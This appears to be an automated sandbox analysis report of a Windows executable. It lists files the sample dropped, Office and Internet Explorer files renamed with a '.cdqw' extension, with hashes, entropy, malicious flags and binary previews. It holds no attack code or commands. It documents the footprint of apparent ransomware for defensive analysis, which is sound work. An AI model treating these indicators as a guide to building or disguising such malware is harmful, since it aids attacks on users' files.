Preview:	..1.0G.Y..q.k../.7u.{......-e#./m..TS?.].`..;Q..9_....y^O.3...........E.$!&..n....5.....PH....0..5a.~i".]v....p5az.tl..F.!.].tI....G...O<...A....g..._..a.....b.'.hk../.:.zV.`...q...}.~...........,}..C...m...t..<k.a...d.....W~E1.?. G#..A..o@(5..W3qS\U..j}4..PC..o..a....ma.....r.....1. @.;.e5......T..`...8E.P9._l.R#tk.O...Vp.U .....g.F....N...............Gz...sD.4.....!..Z.k.....~.V=.....P.q..x.....M.....1..>w.a;.6C..0....5...$...........g..'............l...&...BL..j..g.?......H,...5\c.x.3............!O.............5bq....&.vd.$.0oX-.7TR.....Bv.G/;..?..y.o..7..xh.P..6.~....d..a....."70.<....J....Y".25(.n-v.%q^..tY[.....d.L...5.e........b...RA.!]......A.$N...6..q]...f..L...J.II......l..?.Y.....end .ENumMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Internet Explorer\ie4uinit-UserConfig.log.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (869), with no line terminators
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.889576070544412
Encrypted:	false
SSDEEP:	48:2oo3glBffh8jQQNF2Dx+eod8iFVvgZ8JZ0ZcD:2gbxb9xNod8iiMyY
MD5:	5FFCD572DEC734D9AA44E8D828DA1D7B
SHA1:	BBFB50F326D09CF9BAF3C79D7F45179C29BAF40D
SHA-256:	90219780A13B836B4E1267049AC0D6C1CBEA63A21B1BA20B7467D323B2CFFB63
SHA-512:	54BF2970BF04805435DF7384EF189E48ADE81AD51D13E162B3B405F30599DB75F12E81FFC7F9115CD123522CF3A3CC26C0C9A32944C95DC7BA8A009FB342A078
Malicious:	false
Preview:	..1.0.S.(..2.S.&.dB@..]n....s3.[..A4}2.7.u?[..B....\.W.-.%......)..{b..Q. .TSJ.~.p..............G9D..,.~B...^.@.V._..`......r.<'~.Z...V.....@.5.........o.?w%IW.[..d..o~X7.[[...>.\/..`.[.5..iZ.9yV..A.+..l2.3h..Gl&......g0..Z{.=. ......g{.\8.h.O...$...s..k.......9....^SK.\U.....<i...R..o.M..b.y.Xx3...u.)......W.Ad......o]m.Kd'........e.yZ.L.!:...X.f..U....E&~T.........fh.....i.n..4..Z..* Z.......#...O/../.3..`.Qh.@..$....}...; ..Z.......O..3..p.qj..MT..z_......P$.... .x...%t....zml;.2.....k....K.x^. ...Xr.nc8.)..5....`4........aB..;..+}>.E........./.,.>h.).D_DcQ....R +..c..V...Qo16..;.."Q...ZU.S...e.....)j.?.]..e.}..#...............y....O?.h.M...._@...M..8[?.,\t.x,.T.../.{...6A.2>....N....._..Jb...`......\|.P.(K%*T.e.@$`...g.Wp{...&.M,\|..EOO......`...k......."....DFp..&......g-.@...U..O..........`..1E.h$.P.p...+F.K....w...".....Fg..d...l........&W/.-......$.1u.B..o}h3..L.......X....b.. .S....^p..M...C....s..+.d.l..c7...z.}..J..+....1

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules.xml.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	208087
Entropy (8bit):	7.724689040718208
Encrypted:	false
SSDEEP:	6144:P6FHIx2ZGRkQJ8kG+WH5R4WIAeOjpCf73h:uHIYZMkQJ8kalfCf9
MD5:	9F7A521211CFFB35E00C6F0353985D19
SHA1:	5F8F12FF53F06C7D2E8841D1335CD2B1ECF83645
SHA-256:	64F1C518A1F8D075BB38A2D3B818B56160C32704F8FBF2CF5F82C61964CACEFC
SHA-512:	793BE564DCCB82800F095DBBFAEAB5AC75716978EC9B2EDFE19E98B66B0AB15C207271FBB29C4430C4C03BF4AC97B888CE7708FB684EA033D15BB878848BA131
Malicious:	false
Preview:	<?xmli......q...d.V...8B..,.@....'FOn....V.?.r.n-c.f.z'W#t9....>VJo.w...(..#.)..j...4~7.Z....lI-~.I..{.&...@~.:...8P..;...,NY....P.....+R0\|.{...%......P.3.....F....._8..~?Tn....i.\..u\..kQ&...)......y.......MQ..>...V.....-./.c..P.N.....jG^......N....z..n}Y2V...o...%.p$..{......S.....W/.R9>..............Pblh......:..l...D.P.'....}..2...',.:.p;]..>fN.g.q...W..Q...M......S...e#b..x...!V.....TA..JG...`R.@.}g...5..../..Q......./.q.........%..E...Y..;e..l)....9..Wd.v.s....3.....&..$....8.......=...S.x.<../a.n..=..Q.#..#.)iF..R7;j....t..%.U.?....OC\|.w.r..z....);n^.C.{e.M.;.b.E..B...n....u.%..`;@@;W..t2....5........(...v..&.gfh?..IBZ.E..L.l.....d.D......7c.e.@-5.Q.!..._Cz...I..I<....>@...L.~.p.d...Td.=<.dBs.#D....\....>.mA..E-....t....K...]+.&VD.2..Z.g/N!K.....M..@.R.........9.*.mv?w.\.T/...M!&.c.F..-E.\M!}B...>.W..n...1.....&L.?y<....u.Iy.L...~0i.L..D .I..I......;../..T9.7../r4!.....y.....Q.\|..zO.l.K/w..\.9.8M9...j..+e.`t&..U{8 ......

C:\Users\user\Local Settings\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	321907
Entropy (8bit):	6.627244495344658
Encrypted:	false
SSDEEP:	3072:seytpIv3/ZqZc7X6pXzaYTLhEfRu64xbOZlWcNt2/ePR/jxgeC:vyiPkZc7X6pXzfCEdxbOZlWc2/e1zC
MD5:	508E47C6A2A51136B8D998015DDF96D1
SHA1:	C28D698603880FBD47508490B5313A7C6D7FA99C
SHA-256:	C1F797F18D0CF6123CD8BD4CFF7455CAB1FFBF3FA8896C6C0AAAEE6683FF05AA
SHA-512:	4B9B2362DFD2F04666B7B7D43733E76DFC5B148F09F541E8312E12F1D2E3A9A61115CD15DD8F8A62A9492C586B7552E95ED961C6651E639B4688229019215E17
Malicious:	false
Preview:	<Rule. X._.i.^........1.Y..v....L.i.3Y.....F]..>..Sw.C.Q.....Y.r..ii.9.1..k....!Jc._.b...v..F.8.t.@..b..\....Cf......Y.....X.D.T6...<..D...3.:.?.o)\>..k.^...}...M.F...K....`DUx...8A..#...3qL..rE;H...6hW..r....=r.;.k....9.LA.l$....#"..}.8Y.ep..RI~c...e..t...4....wB....6...a.pd..........1.1....o...-!V..h......X...]x..#+!.q.....K..f9..u.(g.b....v........P.a.."...j?.CF^..r.3Jf./.pX6......o../...\|%.M......k..6..Ko..$._.....D.....\K.4..]y..H...G...m..,.t.^..1.]...._..=.e.mH.....=lx}.A.....W..,`.,....k7.x\|.M..42..2.JT...~o...fK.Ch.P.....%.)\...`.....\|...~v.Wq.b...e9..tfc..,..-\..S...S..{'..A..R..2.u.3...8...[.....H0..NN..$hH.:;.T&...0.P?E.....X.-.k...0.~......nzQ...}...\|.0jG..gb;...Pg..-v.B{...,..").....%T..\...=VQ......$..."H...'M\|S...9.:..Y..?K.d....K1.0W!...F.d..@.%...?F.tq...`bk...{..RfEg..)B.N.p].}.a..!..ge!.o...........}x..cN..-.....(H.*v...D.U.........4<...$mQ...I...v^! P5..RcfO. ..KQt..3o....$....eWH....c..Le..{2......E....dgC'..A

C:\Users\user\Local Settings\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.515563344344483
Encrypted:	false
SSDEEP:	3072:+PYYMNzZlm5H6t+OPyP0JH8Tr80pSgxDzdwXOXrEPaQflGiWb:VO16MOeU8PtHxDNXb
MD5:	9FA0C4797B66C73BA6D986F04DB3D1D8
SHA1:	5C440E94F4BE15AA83F99C327A2E0540D1C353EA
SHA-256:	AEF0EC9A8720FC26C4EB91BBA88AD62541FADC804DC7C14697566E4917772201
SHA-512:	4DC53E4F4CA0CCBEB7999A7362280772B857BB59CD31DC136C449C334974D1C37A1C78121E8205F4B8F0D9F5E899B8BEDCB4F8FD045D6A8106B6EDFF513BAB7A
Malicious:	false
Preview:	<Rule..\|~p...qzy.F...&P...........Z.f0.\.>..B.;...t....l...P...B.g.;....s..J.a8....&....R......{%%...&M..dZN.........#..ZL......Yv.m._...X..>[O..s...u....AU`.{Z...WI..C....&\P._..Y.`(..O\|QWt...i....3....q8^B.[..Q.iXx...........o.._......n.....X.6Ot..g.2s8...^.4V.H..MW..~$.bS..B....... .(.c.E.B..fw........].-'.........."0...t.....m=q:...-.A....`...%......_......C.9S.T.h..............;.. ...Y.tl..@$...\(......yY..;.....W....A..n.R..'yi''..-.?.......z....I..~]Mz........RB.!.(E-..K..i.../k.1....O..lGvT..V..Ir...2...28C_.n...g.e..b5.h.x...k\|.8B..!bp.P.....Q..Y...4.Yf).#Z..<.6S...i.x...CE$.r\|D"......-Z...7......!QF^..@........>#.8./............%#.\...p7...,...[}.....{Y...9I.XQ.....7.\|...s..pG.D..j3n.^ H.&6.X..o] ..e..t.....5:.....8x..Y[.l.Za.....x...D...h....-.~.\|p...2iQ.G....}./.............J....m.4Y7)..J....Fn.C\..kP.Y.....C...A28,G....}..a.=....p=...e"jf..B.....-.R.%.:=.'.{1/.J.~..~..v9.....]q..gd....&..Q.t......7...=.$C..Q*.r..../.,).^....

C:\Users\user\Local Settings\Microsoft\Office\16.0\officesetup.exe_Rules.xml.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.513520893551737
Encrypted:	false
SSDEEP:	3072:H0AWIMZL9m/cbirnba+E6yNGMJbfJH3vhkrJkwRq8zDRMpWQVFSwZiwj:HID3mEmjdEDfnHJj0DRMuwZr
MD5:	01FC66F409C91BAF1C095F3F4348A1A7
SHA1:	22E3C1E3D043C1891412730903CA3746F49759C7
SHA-256:	4CB81154B2AC23DBF41B897E7B725605E4896B22E5EF4293895FDE84FD74FE19
SHA-512:	AC927BE33B32257471CB72C4DBD82A68A76A0D1A046956C002F5DC7FC74F28894523B604B107089A45ED0373048793DF3CA5B7DB0FB60E5299F03DCD21A6F957
Malicious:	false
Preview:	<Rule.Zo..i...90.e..8.Fo.....X....I8..M..T.C...o.c.g...........C.h).m]...8f.v?..o...\|.....1.K].Z z...Zs.....F..G.W.d.L.Qdx..")...........#l.q...j.P.f.uoa.8.:..ky?g...d....M.w.Q3...........fg.....kzv....Xq.zC....A.]l.%.oPI..;X\..@e.........ho5...a..7j...(X.$+...L.l4/.z-N.h.q\...h!c3...%o_u~.=.w...=.}.b....f...Pir}.<..ZG...y+NA..1oDUV.2....(8.q...;.}.b.\.P.F..P..>~.....&.....^...>...'Z..g... (M.3..h...].~...8.v.:..k..&.IRV...W?..;....d...p~...k....(V...V.....E..f...7....D^....Q[...Mtp.R...v....C....%....q...g..f..f[.!...AJ;Uu.xjD.... Q.."b..u..f.9E".X1)..t.9..G.0C......WD@.=..}.7...8..a..........$..tw.OX.+.LB ..3mn....Y..yW>..x.N..~.\|..c^f....D@J.......,/..PD.....T.a.....tRk.E...wi..z%..X..fX.c.8}..r.....7.2...0...".$..T}...auQ......%..%...Nr..b:...6..U.....~K...F.G..>p!.!u.(g@{..5k...'..a.w..G..N".a...r.\|.&.Dl.j...3L...q..!..I..%...D.../..'..?..\....R.V.6..u~.n.=2........Vz.v....q..k.._.....8.Y3..c.H..G9...o.+r./.J.Sy.l..i....9..5.....>.

C:\Users\user\Local Settings\Microsoft\Office\16.0\setup32.exe_Rules.xml.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	135031
Entropy (8bit):	7.99868924335943
Encrypted:	true
SSDEEP:	3072:m8uXRSH8r74z+YRIfEs+JKdufkImXxeV+0GQcCEn2r1:EXRSH8wKYmfSexek0LcCnr1
MD5:	C4360CEAE1DC3AB4096B93DA7BFC0F25
SHA1:	8F69E28BC192C3038E7B26D047ACD61C321706D5
SHA-256:	B5169F50156428707F280EF5B0BA940F83959AFC078D61ED5405F866B4149803
SHA-512:	0AB576FD4AA1CD18F4D583779DBE6457473C0C87222D8AB757B31076A50E72818849A95D55333DB758FB33399D892DEC0E01CC7D422494B152E93236D7B53815
Malicious:	true
Preview:	<?xml.......7.d..h..:7)U..o......8.^..........jc.n[......s........:1.f`.@.cE...z.....t.Qm.:#3........#s.2Fg.A}.......}).e....b..K}6AG.+F......G.Y .m.......r....r.S...eA....U...}.ck.\.`a?..UE..o.. QTp}..,.>?............:..K........F.p.6.C............,...!3.2.P.. y...s3.K..3+......5..7R..+y.C...._.A%..s.92@"..]....6..Q.S[.f......).f../../+JE^x\|..=..Z.}/^r6-.F>......H..7..wr....E..r-...n.rh..L......t...LN...r.U..'Z.3.t@.9....3.X....%..N.<bG>..b7#.@...7..g.{.7......y...ky....75.N.=....1X..6.p.{..........OY.!.,...+K.R.K?..+...<..L[.Z.v...7....h..&....![..W....q....2.._x9.=h...n..c.wF.......j...^.....".$c.w....W.....&..J.i."..}N......p..(K.M.I{._........K.U}:G..n...R..cn.z...l...-i....v.'..M....=...7.i...&a...z.r.....~...:E-.... ...Q?.....f.+B...j.'q;2........9q......r:w.R...:.Gn.P.nF....~c!..N.D.\.....$q.v..j..5..z.}..J.....U.M..... .Co%............4.5.de..]F6....j.F0.._...ZT@.-R.z2Iz.Bk.o..61....>P]A#.+...;=.....B...En..G..U....*wZ$O.?.

C:\Users\user\Local Settings\Microsoft\Office\Features\1-3FeatureCache.txt.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1152
Entropy (8bit):	7.823385099224203
Encrypted:	false
SSDEEP:	24:QrvuqxiACqA/2Yc4cHZOrnBg23mPxH7tza7JT8YMVo8gwh2bD:QrvJCn/2Yc4fnGxH7tzMJzIsD
MD5:	F14502974CB28361302309F24A1CA6B0
SHA1:	44E2C38F8A2503640954BCA8F574E6A5CBB3E39A
SHA-256:	B23935B0C69AA153286B4991F802AD2E3F5102F7017EFDA72EA87D6E0D6C0091
SHA-512:	CF448688CBDB342351F81E3B674627FE1E3A7B52CCC529CE5117CB18C2F53FE9B89648FA50EF6EA22F86DF52F5906C20893CB82428EF311EC3472972F75B76EC
Malicious:	false
Preview:	1.1.9...w<.L.3.5...R..... ...@..]..c;.....>...-ag...:.o.....!......(ym;.0.g..ni.#u.K.L..t7.N(.1.4.~.3.X..'...S.#...b.[..(...^.. b.h A`...t.....L.1....t.}..@......#..........R....Lb.s..{>.O..7...CFq.R..5....s._..!?n.x.....l..-.....9..1.=.wH`.!0.r....WN.\|`..9..Y.G.r.%...>...[.8.9....Y....+,....."?.....%.....\.u.....M.ze#t...C._6X0.nQ.$b`u.G.......N9l...>...z.[...0....U..6.p.d..<.-..BU....?...Mbm.....#h}.ex.:?2..I..o8h ..1......l;Bw.Od...6....cA...2....>@R.....8.....rM?].@..(.^.(T.U;...>.....!.;.N..Q....e8o,i....7Y....y.J....sgM..SE.9..ig..0.....X.5v...I..j...Gx..p...O...l:/..u...R.....)71...'..Q..D.2.Y...;..<..va$../F........sy-....9.q......@g..5.a..."...w(..h#......O.c..&".u.r~y...S..+b.~.....i.I!..US&.T.2;.#..F.. #$.2.....Yx.7..h{Zp53.1[..i.^K..x..s...V.ds@k"=.....N...o4......m.g^.s[.S8......r..`...G >.@...Mu....W...k:.-.v&o.....z..)`.4...If.....?..k".yx....s....>..A&...../.a.["A.<^......t.C.x....O..a....J.qv.F...{....YM.x...

C:\Users\user\Local Settings\Microsoft\Office\Features\1-7FeatureCache.txt.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1170
Entropy (8bit):	7.81329692772748
Encrypted:	false
SSDEEP:	24:c2Icp5xmWOR+8F6ejCnMDC9DuGuA7qxgfmQuGqJlyIn2bD:cRcpmv+8FB+MGJGuuJlpkD
MD5:	A9B81CCF8F58DF9DA5E386EA4F3ABC7D
SHA1:	71D4347FC300F8A29136225478BDE08CAFBABCDE
SHA-256:	E1D6644B96213B01EDD3079681876ACA66411BC65503583160513B77B6DAFB77
SHA-512:	E54114CB92AEC736445AE053E310A1B4EDBC471D11BA3C30DBFFDABF39916E01DE17EB39AB7E9B4E228C34B19A99ADD34FB1EF2CE8F10BA6381EC4432502CDD9
Malicious:	false
Preview:	1.1.9.b#t?..tX..9u..{B...z..W.....y.]..+..J.H....d....9..@...R@Y..q..f.f........`....oN.......Q0..."Z4{.W.......;0o,...iB5.:..../..U#.!.......\E.1.........f.R.x..59 F.....8.I..[8T.1A...M.. .^..Y.......IX.tdFDG...,.A.....mU........k.....d....[.?J&.'.e<..,q.J..3.q0...T.q..j..t.=..l-.LOL...J......r....X)..i.n....>.[.b.".....L.e.....1K\)...W...P.5..........};q0:.y;....e...'......m...U.X..By.^t..%n]Dx...W6K...L..oJ8.Z\...$.[\?...Q.+...<...sY}..c...UBW.GCP.g..L.`)xm..t.(...Z)...9G..(....f...+......{.<.d:.....g..\G..j.....+..#...D...:..........+..b.....8.mSEk..k5i.=3.T.....Ye-..a...Ss......AK>.Q.......Q)PC.J...p.0.k`...Q.p.!.....Z.....:Y....9dW..syd......J.C .....d..\.j......pJ88.r...+........[.kIzf....8...!@n .;OwvP/'..d!m.UC..%...s..a...@..l..Q....L.Ukw+K..\}.o..N;.}.....;<.\.r._....p;,.Rr..eB..Cn!>hv[.=3>n...4kx..<.....)%.q......5....w73.!..(o4.(.+)...]&.ch..)O..BJ.S...d,.m...J.`O{....t.l..1. cMQ.S..F.T. .....J..#.N...,>:

C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	37198
Entropy (8bit):	7.994422754019897
Encrypted:	true
SSDEEP:	768:o3tang/ptD3acJSko2ffedy++eH57b1XOo16mOSFqYruDUWDh+HJIeOGfYSj6w:Fguk1fmzV0o16fudkh1dGfb6w
MD5:	5DD1366B0D846A08D497D508B446781B
SHA1:	39505059CEB171917A585F8E9F02301CB625752D
SHA-256:	CB61B4565ED989F5B0781F4E63DE0EBE5E100642BC668E7366FAA5838F8F983F
SHA-512:	48CA6478FEC402C3C1F1E6F5B23ED8594485D3D6ADD19A7180679811FFCE1AA95B415D255BF25D67C24FD4D3C0D8AEA4E2BC8D56CDB133692EF67260C4A5FCEA
Malicious:	true
Preview:	SQLit......aX. F..</.1.+8.p.n<,...&.b..+f.[..%-.\|..I.G.........(o;..0,.p.........g.......2.V.. ..1.R...o.~G...>.\l?..S.bI.G.....z.....!..A..A...4.i...sH}<..h.......7..S.0.g...5JE.('<qp.....II.,.}........L..WAT.V..W..q......4.b..>p]..e.~......%.kQ...........W.......m....vy......:.yX..KIy%..g....J{..0.....5z.v.C.[....S.k\|6..m...C.g.t^G....r..b-j./.....pj...m....!"........J!&\G..!......KK.=..fQ(^..j..YV..!BP........vz.R.B.=w.U.\|.N...v.D\.Q...<\E..3....~./L.6.3..\yX...!....vv.0.I..B...S&7&.........V.9.F.....Wlc.i.+...I+f..#./..+.L@..N..k.&..#.=..=~......1'.O..S.OG..(W.......?Y.><~..o.2....(...H..w.........3.['k..iT@..[...?.`f...a..g...?mg.3{.....JxM...(t...`Pq.Y=..K.........bg.."...N.......r..:\"..0.......C.`..(.9.A.9.+2N. K....q................_..?_..\|.c.......e...R......-..cI....!(Y.[..F.......b_..6.U".X5/A~Y.C.x.V z..!.F..X.\...<...r.EI.{...a......Y.%...o}Iu...;8P...........y%...x.8m..yim.~n.lh.Th.,.........%G.Z...v...!..?.>..N#...).

C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.session.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	20814
Entropy (8bit):	7.990684821438939
Encrypted:	true
SSDEEP:	384:1qr6aAnbdg1bfJC59TWV5a35y2Vot/i36FHj7Hdmn8lC3:1qmnBg6SC5k/i36Nj7o8lC3
MD5:	B7BB095A6143CF97BBD43F5B108BC524
SHA1:	D059B1ED2EB57F08ED9F85EF6DD4745183633CB3
SHA-256:	7760CA76BD192EFC8CCDDEC62E308CD348F2FB73B494959EF8A9C2832F2E8761
SHA-512:	7B46CE7224555C85F4EF43CC953E89FF177B60B9A088A3EE15A14286E3CF72FA3DE49383CE3DE37369D29CC6FE191123F397847D10B127725011C34255D69353
Malicious:	true
Preview:	SQLit....g....4..x.vN.5B.<.`..e..H.%.\L7.o..\|.^...M.js....%@)..OA5...{8^Q.....y>a.... ....P.....{...m..fj...7...x..r..H..\| !...d\|I....Z0.W\-<..2...3.x.B..8...7.............c.Tl\|....M..G..)N..$...;.fs.wA<.r..F..({m.qR..3.....C-.........B...D.C..8..)..x...xG..8l.2....`.?B.F.f.<v...07.n0...S.BKM.^.`ni._.x.ib.....#BM.$...=0....\..E.-...WQ..e..%/.j.`y.#P.8...Vq..z..._I..X..e....v..O}./."......3@...}..j......x.L..I..].".#)IQ.q...b.......C.w.....d..AjI8.&.... ._h.&...;.G..N...g~A..;.`.5.@!.....=$.9....$6...G<...e(.q.o..........8.E.fu.T9O.f...O..Pc........$...-.].i..Y.g9U5m.%u.9j\,q2..`8[^.Fk..[c\.:..-...g....JM...%..m.....rV....../,Yzq.../.3.q..g:..C,Jn.'...z.I....u....`.8.F..t....P....`...l.XZ.C...:.v.B.ER...vI<.h.6....2...#...Aj.WB.$.$:B...B.!3.`.V.Vm.....j..~..q...T.0\..WC.\|F...9......\...t..t.l~.L..5...L."..A.j.-....x..y..a....9....^o.N u>.....FJ......7.M.....E4..Zd.p.9J.vN..._V.W..(m...%.....me..f]..f.mu/.+.3L.......L&b......%..N* w8......a.

C:\Users\user\Local Settings\Microsoft\Office\OTele\officec2rclient.exe.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993127193914586
Encrypted:	true
SSDEEP:	768:kImldt7tLN8rVWQDh1A2boLNC5xSrZGj9hVvVnahG:kFnZ8YQV1A2boY5Og5h9Vh
MD5:	A4F906426427D7C61D6F2C2E05F7E527
SHA1:	CA45DEE710479E28B568D37596F4BBB89A056F05
SHA-256:	46B88E9E8E75D97F957B28BF9A5055D18EF669223E278938FCDD2FC133F8E41F
SHA-512:	53FB35EF4176E2E21D009592D777F6B292529A5F1BC2EBD9231A84B58A93227230046543FAC998AC60D77404775A398349A76E14834530C9F508CF33531E3772
Malicious:	true
Preview:	SQLith...8.fz...c'..>u.P..F..........sr...G.N...(]k...+..H.oQ....j.M..2u........nI.....epX.(.......^~.2.1...`.........".t1D...?......=.x..&.#..gz.....T.8B.s!..?JwO+J.rk.G.Y53.F!;..o...0..p..;o}.....7..q..Q.).....$...]...C..zx....+Vw..{..~..6.\...x.0YrB..c+......_..KG.`.x.2w..c.bs.f.h.'...L......H..e.........C...D_S..(...VV.^:.:...)...v(...U.)s3 .\|.l.{i.y.j.%W......B.,%.'..EQ..--.I...1.....3..u....hE.0.1a.KK.E.V._X5>[.kR......(YE...m\|....(3.7...X.....8c.\|...{...CGg?.xO....bY.A.d.6...cG.@:pqfh.C.:.l....).A.E#......si....D..E...B..S..D:......3urn`...j..!y....[.@.C$".Q.........n.N.A e.t>...Br._.j..\|R.....k..~dq.1.............T.N.Q.y.&..2.\...{4".t.Ztk.....dsE& .T..0..+....1. ...Q.7.....5.D...,....KK..@...............AU..l...... E.A.a.H.)....m.T\|...gY.D@m.,1..M.I.3...udk...HK.a.........:Qc.Qq!..B...B.,...c....~.._.a.w...V..>.2....~G).g}.jt..9.JR..j..sr..].v....[;..;.Py*..!"..tA.}....M..D...i,'......C.../h....E...'h....iy ]....4..Y.........

C:\Users\user\Local Settings\Microsoft\Office\OTele\officeclicktorun.exe.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.991659392508932
Encrypted:	true
SSDEEP:	384:MhtrqK2ZsqwETQG0y+VLh5b6bcZAgZcvCSAiCEj5p42i2nnSBLUJS7:gJ12ZfNTbox6gZAgqDH3SBA6
MD5:	87A4B9069A267246DF263969924EF4BD
SHA1:	F56F4C31765CE3C7E612B2AFD28C04B02C89F9C8
SHA-256:	3245655F5C53027F5456AE482E083D6DB421BAA6EF8DA22605E1481ACA2B5383
SHA-512:	DC58A45E30E3072421EB49363B5C8A11A737809C6E8D59A5A6556ADBBE8D771F8660873FF4B5E16A5BCF1B47EED4508A7DF04CC4480AD7B0B365EA2FC0CD14CB
Malicious:	true
Preview:	SQLit.......'T..:..>.$l..gA.&OF.3............U..).Z<..."..j<O.b.0........}...{W4..U.~{-...t.......k.^^A.F..#..([...srLJ.\..6.)k.s..[..e)J.g.^.g,.].I<u".h\|.^.C."...w'..mi"\|...\.....e....UU.Z..,...O2......c....P.{.o....tG..e..... .N..1g....]/...pf=.&_....4.E.."......\|...m...:1.....V.........5......i...l..xkp.w1.E...g.NZ.6.....2....dt.Fv...:v..F.(.4%.uIJ.m..a.......X.B0Qd...N.,b...E..g.!..$p....t.Y...Jfu.Z.3...?.6Y...A.....aj]...........l..._C....5s....9.r.2Zf..?....!.bk....1....}.\|...\|EoB.H.^j..=.."m..8.><.....{k..&.f(.....g.b/...s.. u.;.;.k...IK.......G.VD....."...jX3v..5..4.&.5.;....Xh.EC..=M......C..4!fM..Mb.z:.\|XL..uN.$...t.....[&..&...st........)`....s.f.z\|..@.L.pV.d.W.[.}.v.T...9.2Wn.~....$.%.'{.w..s...!i\.I. 39.Ae......@b.C.9......O.....g......V.m.#.;.q...S....._R#t..j...Q...`.).k...9...z....!x'..p....t...A.[3...C.<OU.W.0.....o..;_4..up..\|!R..Q..5...@..k.$.F..4.x.=.t...`F....5...u.\... P....^.?U....qS~#.w..J..n]..Y.v....Px)..._

C:\Users\user\Local Settings\Microsoft\Office\OTele\officesetup.exe.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993045213817266
Encrypted:	true
SSDEEP:	768:QhXNrBvM+FeLtnLlObzITuJXi/19eVJjg27T2iF:Q/JsLh4/OuJXiSVqMV
MD5:	304D587023302F520DC9182857C06F7A
SHA1:	D6FBF8D6581A0FFFE0D5BEE855ABFDCE2DC6594F
SHA-256:	3DF855AC9C682014AD3A372340B2ACD054C6CEE464E5F2DCF462B2568BCC9ECA
SHA-512:	DF8FEC49DB52F9C8ACB08530160D751331B18A92F6970D9479572788AF15DDC11099D14BC86E5E8DF43A09F10EEAAF642FAB936D507E479BD5E5406E4FB0ABB2
Malicious:	true
Preview:	SQLit.M...Xi.i.H3...(...,...n..e.Xw...x....W..x....V/.CV..^\|.\|^......$.#"D...5w)...y.(.........QS..c.O.7.......<.u)>......&..). ...r.{\...y.MySDQ`.......F..r.L.}L\q......^.9.d.........P.....7....dg.......:....W..U.k...`(....^n..g.$..XU..f.:.....C..........tv.....O.I...ni\|.xB...4.EEp....cM...%8...$....D.D..m....9C..C...\%.zpT...#...W.W.7.}..3D@._+...,.p...(V....!..)i`..P..L.l.g}e..w..v.::.9..@~(.@M... j......8".6....P..@../.(z..+.l\.....1~t,=arLZ.(;\.\|..H.[V.O2..e...I..W....fI..c.&.4...&.)........u1g..d.....o..5U ....n.......sCk#,...yz..\|...0.;..r.'........5]u.b<...4E.8?..u...b~.+s....f....1..Ad!..!...m......A...&.o:\|.>..d.7..........2...E...(o..a/.5.z.Z.....[.n/MA..4.Z.uR..:..e..N.L$...DgX'..i.(.K.../.R..[.F.-.o..\|.=...8R....<.\|.GAq......OX2.\|B...h..iO.Q..........t.".`&....N..U....].c...8I.W.0...3.]i.xEI..W..uq..T.9PG.....F-.D.:5..W..J..+..`...(.a?>.Fk.d5..#76-..^....>._....r....Q...^).Rq.qz.......$......W...*..D....1I7..

C:\Users\user\Local Settings\Microsoft\PenWorkspace\DiscoverCacheData.dat.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1353
Entropy (8bit):	7.863498748299119
Encrypted:	false
SSDEEP:	24:YdZT8EIsnL5XwNBOgvlQTPMW0lNaTSDstfOrGXJQwPJL1a5/XUMjOfNX+sV2bD:YdZT8EfL5ANkAiMW0lNabff3B6/jNsuD
MD5:	609FE6EB8C6DD06446453562617D0C1F
SHA1:	04B2B8CC004EEB7634D7F2F6CF62C0201B79C408
SHA-256:	ECD5D498E512CDCEA47EA9F67F23AA0F49111C25C879B232EA395D7F349F7D1E
SHA-512:	7E7CBB3F13FD25620DF8C128FE72F7ACDC2FA08CB67A6F8D5F9A491842E29990556241545E97E3881427240FFE43DBDFD2FDA6281CFF7DEF7412F125B1AD6942
Malicious:	false
